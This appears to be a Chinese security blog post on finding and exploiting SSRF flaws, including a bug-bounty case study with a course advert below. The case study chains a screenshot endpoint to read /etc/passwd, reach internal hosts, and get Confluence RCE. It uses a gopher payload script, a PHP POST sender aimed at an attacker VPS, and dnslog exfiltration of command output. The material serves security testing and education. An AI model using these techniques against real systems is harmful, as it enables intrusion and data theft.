web漏洞挖掘指南 -SSRF服务器端请求伪造

一、漏洞原理及触发场景

  1. web服务器经常需要从别的服务器获取数据,比如文件载入、图片拉取、图片识别等功能,如果获取数据的服务器地址可控,攻击者就可以通过web服务器自定义向别的服务器发出请求。因为web服务器常搭建在DMZ区域,因此常被攻击者当作跳板,向内网服务器发出请求。
  2. 常见的ssrf漏洞场景(所有需要输入url的地方都可以尝试ssrf,将url改成dnslog地址,验证请求IP是否来自web服务器):
  • 远程图片拉取
  • xls,doc等文件预览
  • 头像加载
  • 其他网站的访问截图
  1. ssrf常用的协议:http/https、dict、file、gopher、sftp、ldap、tftp

二、漏洞检测及利用

  1. 任何需要传入URL的接口都有可能出现ssrf漏洞,可根据实际业务场景对功能接口进行漏洞验证。ssrf漏洞可分为有回显型和无回显型,有回显型ssrf可以直接通过页面加载出目标资产,可先尝试加载http://www.baidu.com 页面确认有ssrf,如果成功的话,可进一步将百度换成内网IP,通过fuzz扫描内网资产。
  2. 无回显型ssrf的检测需要先配合dnslog平台,测试dnslog平台能否获取到服务器的访问记录,如果没有对应记录,也可能是服务器不出网造成的,利用时可以通过请求响应时间判断内网资产是否存在,然后再利用内网资产漏洞(比如redis以及常见可RCE的web框架)证明漏洞的有效性。
  3. 有回显型ssrf往往可以直接操作内网web资产,不做多赘述。下面由某次众测SSRF案例总结无回显型或半回显型ssrf的利用过程。

三、某次众测SSRF案例(禁用gopher协议时发POST包getshell)

  1. 感谢 [@Rus][0] 师傅提供的漏洞,这个ssrf虽然能看到访问截图,但是无法直接操作内网web资产,因此和无回显型ssrf的利用合并总结了。首先在js中发现接口:https://xxx.com/mall-tools/v1-0/tools/screenshot?url=url/&width=3272&height=1840&sleepMillis=10000

    Untitled

2.通过接口名称大概知道是截图功能的接口,后接的url参数是可控的,将url地址改为www.baidu.com,响应包返回的数据中给出了截图地址:

Untitled

3.访问该图片地址直接下载值本地,发现正是百度的首页,url改为ceye地址,通过http记录发现UA是基于Linux上chrome内核的浏览器:

Untitled

4.猜测请求过程:客户端通过接口传入url→web服务器接收到地址后用浏览器访问该url→访问后将网页详情截图并上传cdn→接口请求成功响应并返回截图保存地址
chrome浏览器默认支持:Http,Https,File,Ftp,Linux环境下先尝试读取/etc/passwd,

Untitled

5.将url改成/etc/./././././././passwd可绕过该waf,发现部分用户的hash:

Untitled

6.因为当前用户权限不够,无法读/root/.bash_history和shadow文件,也不知道web源码的绝对路径无法读配置文件,此时还可以读取/etc/hosts文件获取部分内网web资产:

Untitled

7.除了以上收集到的资产,平时遇到无回显SSRF,还可以尝试寻找内网的Confluence, Artifactory, Jenkins, 和JAMF等资产,这篇文章是专门介绍bind ssrf利用技巧的,可以作为参考:https://github.com/assetnote/blind-ssrf-chains

在GitHub搜索厂商域名关键字+jenkins、wiki、oa、git、svn等有可能出现在域名中的词,发现jenkins和confluence内网资产:

Untitled

8.以上域名公网无法访问,通过ssrf接口带入[https://xxx.com/mall-tools/v1-0/tools/screenshot?url=url/&width=3272&height=1840&sleepMillis=10000][0] ,查看截图后发现jenkins有登录口,无法直接未授权RCE,需要尝试其他历史漏洞,这时可以先试试近期公开的CVE-2021-26084,confluence未授权RCE,详情以及payload参考:[https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md][1]

9.该漏洞的触发需要发送POST请求,以下列举ssrf漏洞发送POST请求的几种思路:

  • 利用gopher协议直接发送POST请求。用python脚本生成gopher数据流,参考:https://blog.csdn.net/weixin_45887311/article/details/107327706
        import urllib.parse
        test =\
        """POST / HTTP/1.1
        Host: 127.0.0.1:8000
        """  
        #以上内容放置请求包内容,注意后面一定要有回车,回车结尾表示http请求结束
        tmp = urllib.parse.quote(test)
        new = tmp.replace('%0A','%0D%0A')
        result = '_'+new
        print(result)

Untitled

除了发出HTTP请求外,gopher协议还常被用来攻击内网redis、Zabbix、FastCGI、mysql等服务,利用工具:https://github.com/tarunkant/Gopherus

  • ssrf不支持gopher协议时可考虑利用302跳转。条件:ssrf支持302跳转。参考:https://zone.huoxian.cn/d/392
    土司上也有师傅写过用302跳转对discuz的ssrf进行利用的案例:https://www.t00ls.cc/articles-62210.html
    302.php发出POST请求:
        <?php
        /**
         * 发送post请求
         * @param string $url 请求地址
         * @param array $post_data post键值对数据
         * @return string
         */
        function send_post($url, $post_data) {
            $postData = http_build_query($post_data);
            $options = array(
                'http' => array(
                    'method' => 'POST',
                    'header' => 'Content-type:application/x-www-form-urlencoded',
                    'content' => $postData,
                    'timeout' => 15 * 60 // 超时时间(单位:s)
                )
            );
            $context = stream_context_create($options);
            $result = file_get_contents($url, false, $context);
        
            return $result;
        }
        
        //使用方法
        $post_data = array(
            'username' => 'stclair2201',
            'password' => 'handan'
        );
        send_post('http://vpsip:8000', $post_data);
        ?>
  • 结合csrf自动提交POST表单。条件:支持跳转,无refer限制。前文提到,目标服务器可能是通过浏览器访问后再截图,因此重定向是可以实现的,这里提供一种比302跳转更方便的解决方案,直接用burp生成csrf poc,然后加入一段js来自动提交表单,这样也类似于302重定向的利用方式了。

10.当前场景,结合csrf自动提交POST表单的方法是最方便的,因为是半回显ssrf,命令执行结果在截图中无法提现,可通过dnslog将命令执行结果外带,漏洞请求包:

Untitled

11.用burp生成csrf poc后,加入自动提交表单的js,然后将其保存在vps上的exp.html中:

Untitled

12.最后访问https://xxx.com/mall-tools/v1-0/tools/screenshot?url=http://vpsip/exp.html 实现RCE,用dnslog将命令执行结果外带:

Untitled

该文章来源火线Zone:https://zone.huoxian.cn/d/541-web-ssrf

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
程声明:该课程是教学使用,视频内涉及漏洞利用方法,请勿在互联网环境中使用;维护互联网安全,人人有责。实验所需环境:vmware;kali虚拟机一台;windows server一台;有docker环境的Linux虚拟机环境下载地址在购买课程后单独发送 【课程配套资源】1、Python脚本(Margin老师自研,不光能学漏洞,还能学Python,实在是划算)2、与Margin老师实时互动3、免费的CISP-PTE考试技巧指导(Margin老师与CISP-PTE的负责人很熟的,非常多的一手消息^o^)4、Margin老师的内部直播可以优先参加5、Margin老师的课程基于CISP-PTE的知识体系进一步扩展,使课程内容更贴近实战   【课程主要解决问题】1、CSRF、SSRF搞不清楚?2、SSRF原理是什么?危害大小?如何利用SSRF获取主机权限?如果使用Python提高挖洞效率?3、Gopher协议、Dict协议?完全没听过啊,没关系,看完课程后你门清。4、SSRF渗透Redis数据库,Redis客户服务器怎么通信?通信报文是怎么样的?看这里就行。5、SSRF渗透Struts2总是失败?不知道如何编码?不知道如何使用Gopher协议?来这里。6、SSRF表面简单,实则有无数坑,通过视频提高学习效率吧。 【CISP-PTE介绍】1、CISP-PTE是进入网络安全行业的TOP1认证,能帮你梳理完整的网络安全知识体系2、有PTE证书在网络安全公司是免技术笔试的,怎么样?是不是很棒。3、Margin老师的课程基于CISP-PTE的知识体系进一步扩展,使课程内容更贴近实战本课程属于CISP-PTE渗透测试工程师认证体系的课程,但内容更加丰富。CISP-PTE是国内第一个以动手实操为主的网络安全认证,该注册考试是为了锻炼考生世界解决网络安全问题的能力,持续增强我国的网络安全水平和防御能力,促进国内网络防御能力的不断提高。考试内容从多个层面进行,考点和网络安全动态相结合,真实的反应出真实的网络环境中发现的各种问题。如果要考取CISP-PTE证书需要掌握以下内容:1、Web安全基础,注入漏洞、上传漏洞、跨站脚本漏洞、访问控制漏洞、会话管理漏洞哦等。2、中间件的安全知识,如:Apache,IIS,Tomcat,以及 JAVA 开发的中间件 Weblogic,Jboss, Websphere 等,且要了解中间件加固方法,在攻与防的能力上不断提升。3、操作系统安全,包含Windows和Linux操作系统,从账户管理、文件系统权限、日志审计等方面讲解,了解常见的漏洞方式和加固方法。4、数据库安全,包含MSSQL、MYSQL、ORACLE、REDIS数据,了解常用的数据库漏洞和题全方法,保证数据库的安全性。 【关于Margin老师】· Margin/教育系统网络安全保障人员认证首批讲师/高级讲师· 擅长CTF/Web安全/渗透测试 /系统安全· 3年研发/擅长Java/Python/某银行现金循环机业务系统开发者· 曾参与开发网络安全认证教材· 知乎专栏/CISP-PTE渗透测试工程师学习· 4年线下网络安全讲师/2000+线下学员/100000+线上学员

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值